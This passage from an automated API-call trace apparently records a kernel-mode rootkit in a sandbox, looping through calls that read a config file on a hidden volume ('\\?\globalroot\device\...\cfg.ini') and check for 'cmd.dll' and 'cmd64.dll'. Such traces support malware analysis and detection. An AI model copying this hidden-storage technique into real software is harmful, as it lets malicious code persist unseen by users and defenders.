_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.868] KeEnterCriticalRegion () [0122.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.868] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.868] KeLeaveCriticalRegion () [0122.868] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.868] KeEnterCriticalRegion () [0122.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.868] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.868] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038276f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.868] KeLeaveCriticalRegion () [0122.869] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.869] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.869] KeEnterCriticalRegion () [0122.869] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.869] ExFreePoolWithTag (P=0xfffffa8003826180, Tag=0x0) [0122.869] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.869] KeLeaveCriticalRegion () [0122.869] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.869] ReleaseMutex (hMutex=0xf0) returned 1 [0122.869] Sleep (dwMilliseconds=0x124f80) [0122.870] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.876] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.876] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.876] KeEnterCriticalRegion () [0122.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.877] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.877] IdePortDispatch () returned 0x103 [0122.877] KeWaitForMutexObject () returned 0x0 [0122.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.877] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.877] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.877] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.877] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.877] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8ab0 [0122.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.877] KeLeaveCriticalRegion () [0122.877] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.877] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.877] KeEnterCriticalRegion () [0122.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.877] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.877] KeLeaveCriticalRegion () [0122.877] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.877] KeEnterCriticalRegion () [0122.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.877] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.877] IdePortDispatch () returned 0x103 [0122.877] KeWaitForMutexObject () returned 0x0 [0122.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.878] KeLeaveCriticalRegion () [0122.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.878] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.878] KeEnterCriticalRegion () [0122.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6d000 [0122.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.878] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.878] IdePortDispatch () returned 0x103 [0122.878] KeWaitForMutexObject () returned 0x0 [0122.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.878] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.878] IdePortDispatch () returned 0x103 [0122.878] KeWaitForMutexObject () returned 0x0 [0122.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.878] KeLeaveCriticalRegion () [0122.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.879] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.879] KeEnterCriticalRegion () [0122.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.879] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.879] KeLeaveCriticalRegion () [0122.879] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.879] KeEnterCriticalRegion () [0122.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.879] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.879] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.879] KeLeaveCriticalRegion () [0122.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.879] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.879] KeEnterCriticalRegion () [0122.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.879] ExFreePoolWithTag (P=0xfffffa8003be8ab0, Tag=0x0) [0122.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.879] KeLeaveCriticalRegion () [0122.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.879] ReleaseMutex (hMutex=0xf0) returned 1 [0122.879] Sleep (dwMilliseconds=0x124f80) [0122.892] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.892] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.892] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.892] KeEnterCriticalRegion () [0122.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.892] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.892] IdePortDispatch () returned 0x103 [0122.892] KeWaitForMutexObject () returned 0x0 [0122.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.893] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.893] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.893] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.893] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.893] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8530 [0122.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.893] KeLeaveCriticalRegion () [0122.893] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.893] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.893] KeEnterCriticalRegion () [0122.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.893] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.893] KeLeaveCriticalRegion () [0122.893] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.893] KeEnterCriticalRegion () [0122.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.893] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.893] IdePortDispatch () returned 0x103 [0122.893] KeWaitForMutexObject () returned 0x0 [0122.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.893] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.893] KeLeaveCriticalRegion () [0122.893] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.893] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.893] KeEnterCriticalRegion () [0122.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.893] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d71000 [0122.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.894] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.894] IdePortDispatch () returned 0x103 [0122.894] KeWaitForMutexObject () returned 0x0 [0122.894] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.894] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.894] IdePortDispatch () returned 0x103 [0122.894] KeWaitForMutexObject () returned 0x0 [0122.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.894] KeLeaveCriticalRegion () [0122.894] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.895] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.895] KeEnterCriticalRegion () [0122.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.895] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.895] KeLeaveCriticalRegion () [0122.895] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.895] KeEnterCriticalRegion () [0122.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.895] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.895] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7120, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.895] KeLeaveCriticalRegion () [0122.895] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.895] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.895] KeEnterCriticalRegion () [0122.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.895] ExFreePoolWithTag (P=0xfffffa8003be8530, Tag=0x0) [0122.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.895] KeLeaveCriticalRegion () [0122.895] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.895] ReleaseMutex (hMutex=0xf0) returned 1 [0122.895] Sleep (dwMilliseconds=0x124f80) [0122.909] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.909] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.909] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.909] KeEnterCriticalRegion () [0122.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.909] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.909] IdePortDispatch () returned 0x103 [0122.909] KeWaitForMutexObject () returned 0x0 [0122.909] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.909] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.909] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.909] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.909] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.909] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7010 [0122.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.909] KeLeaveCriticalRegion () [0122.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.909] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.909] KeEnterCriticalRegion () [0122.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.910] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.910] KeLeaveCriticalRegion () [0122.910] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.910] KeEnterCriticalRegion () [0122.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.910] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.910] IdePortDispatch () returned 0x103 [0122.910] KeWaitForMutexObject () returned 0x0 [0122.910] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.910] KeLeaveCriticalRegion () [0122.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.910] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.910] KeEnterCriticalRegion () [0122.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.910] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d76000 [0122.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.910] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.910] IdePortDispatch () returned 0x103 [0122.910] KeWaitForMutexObject () returned 0x0 [0122.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.912] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.912] IdePortDispatch () returned 0x103 [0122.912] KeWaitForMutexObject () returned 0x0 [0122.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.913] KeLeaveCriticalRegion () [0122.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.913] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.913] KeEnterCriticalRegion () [0122.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.913] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.913] KeLeaveCriticalRegion () [0122.913] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.913] KeEnterCriticalRegion () [0122.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.913] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.913] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.913] KeLeaveCriticalRegion () [0122.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.913] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.913] KeEnterCriticalRegion () [0122.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.914] ExFreePoolWithTag (P=0xfffffa8003be7010, Tag=0x0) [0122.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.914] KeLeaveCriticalRegion () [0122.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.914] ReleaseMutex (hMutex=0xf0) returned 1 [0122.914] Sleep (dwMilliseconds=0x124f80) [0122.928] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.928] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.928] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.928] KeEnterCriticalRegion () [0122.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.928] MmProbeAndLockPages (in: 